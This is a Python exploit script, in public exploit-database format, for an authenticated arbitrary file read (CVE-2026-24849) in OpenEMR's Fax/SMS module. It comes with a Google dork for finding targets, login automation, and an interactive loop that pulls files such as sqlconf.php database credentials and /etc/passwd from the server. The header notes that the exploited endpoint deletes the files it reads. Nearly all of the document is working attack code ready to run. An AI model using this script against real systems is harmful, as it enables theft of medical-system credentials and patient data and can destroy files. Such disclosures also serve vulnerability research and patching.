# Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read # Google Dork: intitle:"OpenEMR" inurl:"interface/login/login.php" # Date: 2026-06-06 # Exploit Author: doany1 # Vendor Homepage: https://www.open-emr.org/ # Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download # Version: OpenEMR < 7.0.4 (tested on 7.0.2) # Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2) # CVE : CVE-2026-24849 # CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) # # Description: # The Fax/SMS module's EtherFaxActions::disposeDoc() method # (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied # `file_path` request parameter and passes it straight to readfile() with no # path validation. The method never calls authenticate(), so the only thing # required to reach it is a valid OpenEMR session. # # Privilege required: # ANY authenticated user -- this is NOT an admin-only bug. A low-privilege # account (receptionist, clinician, etc.) can read any file the web-server # user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd, # application source, and so on. The admin/pass values in the examples below # are only convenient demo credentials, not a requirement of the bug. # # Prerequisites: # - Any valid OpenEMR login (no privileges required). # - The Fax/SMS module enabled with EtherFax selected as the fax provider # (the file read does NOT require a real EtherFax account). # # WARNING (destructive): # disposeDoc() calls unlink() on the target *after* reading it. Reading a file # that the web-server user is allowed to delete WILL remove it. Prefer # root-owned targets (e.g. /etc/passwd) whose parent directory the web user # cannot write, so the unlink() fails and the file survives. # # References: # https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc # https://nvd.nist.gov/vuln/detail/CVE-2026-24849 # # Usage: # Interactive (prompts for everything): # python3 exploit-CVE-2026-24849.py # Non-interactive: # python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass \ # -f /var/www/html/openemr/sites/default/sqlconf.php import argparse import getpass import re import sys try: import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) except ImportError: sys.exit("[-] This exploit needs the 'requests' module: pip3 install requests") UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0" FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php" # Method name varies across affected minor versions (disposeDoc <-> disposeDocument). ACTIONS = ["disposeDoc", "disposeDocument"] # An unauthenticated request is answered with a JS redirect to this path. # (Use a narrow marker: every OpenEMR page embeds generic timeout JS.) FAIL_MARKER = "login_screen.php?error=1" def ask(prompt, default=None, secret=False): label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt value = getpass.getpass(label) if secret else input(label).strip() return value or default def login(sess, base, site, user, password): """Establish an OpenEMR session in `sess`. Validity is confirmed later by an actual file read, so this just performs the GET (CSRF prime) + POST.""" # 1) prime a session cookie and grab the CSRF token if the form exposes one r = sess.get(base + "/interface/login/login.php", params={"site": site}, timeout=20, verify=False) m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S) data = { "new_login_session_management": "1", "authProvider": "Default", "authUser": user, "clearPass": password, "languageChoice": "1", } if m: # OpenEMR doesn't enforce it on this POST, but send it when present data["csrf_token_form"] = m.group(2) # 2) authenticate sess.post(base + "/interface/main/main_screen.php", params={"auth": "login", "site": site}, data=data, timeout=20, verify=False) def read_file(sess, base, site, remote_path): """Return (content, status). status in {ok, session, missing}.""" for action in ACTIONS: r = sess.get(base + FAXSMS, params={"site": site, "type": "fax", "_ACTION_COMMAND": action, "file_path": remote_path, "action": "download"}, timeout=20, verify=False) body = r.text if FAIL_MARKER in body: return None, "session" if "Problem with download" in body: return None, "missing" # method ran, file absent/unreadable if body.strip() == "": continue # likely wrong method name -> try next return body, "ok" return None, "missing" def main(): ap = argparse.ArgumentParser( description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)") ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10") ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)") ap.add_argument("-P", "--password", help="OpenEMR password") ap.add_argument("-s", "--site", help="OpenEMR site (default: default)") ap.add_argument("-f", "--file", help="Absolute path of the remote file to read") ap.add_argument("-o", "--output", help="Save looted file here instead of printing") args = ap.parse_args() print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n") target = args.target or ask("Target base URL (e.g. http://10.10.10.10)") if not target: sys.exit("[-] Target is required.") target = target.rstrip("/") if not target.startswith("http"): target = "http://" + target user = args.user or ask("Username", default="admin") password = args.password if args.password is not None else ask("Password", secret=True) site = args.site or ask("Site", default="default") sess = requests.Session() sess.headers.update({"User-Agent": UA}) try: print("[*] Authenticating to %s as '%s' ..." % (target, user)) login(sess, target, site, user, password) # Confirm auth + that the vulnerable module is reachable by reading a # safe, root-owned probe file (its unlink() fails, so it is not deleted). _, status = read_file(sess, target, site, "/etc/hostname") except requests.RequestException as e: sys.exit("[-] Connection error: %s" % e) if status == "session": sys.exit("[-] Login failed - check credentials / site.") if status == "missing": print("[!] Logged in, but the file-read returned nothing.") print(" Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n") else: print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n") def loot(path): try: data, status = read_file(sess, target, site, path) except requests.RequestException as e: print("[-] Connection error: %s" % e) return "error" if status == "session": print("[-] Session rejected (auth/ACL problem).") elif status == "missing": print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path) else: if args.output: with open(args.output, "w") as fh: fh.write(data) print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output)) else: print("[+] ---------- %s ----------" % path) sys.stdout.write(data if data.endswith("\n") else data + "\n") print("[+] --------------------------") return status # single-shot mode if args.file: status = loot(args.file) sys.exit(0 if status == "ok" else 2) # interactive mode: read files until the operator quits print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).") print(" Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n") while True: path = ask("file_path(Which file would you like to see e.g /etc/passwd)") if not path or path.lower() in ("q", "quit", "exit"): break loot(path) print() if __name__ == "__main__": main()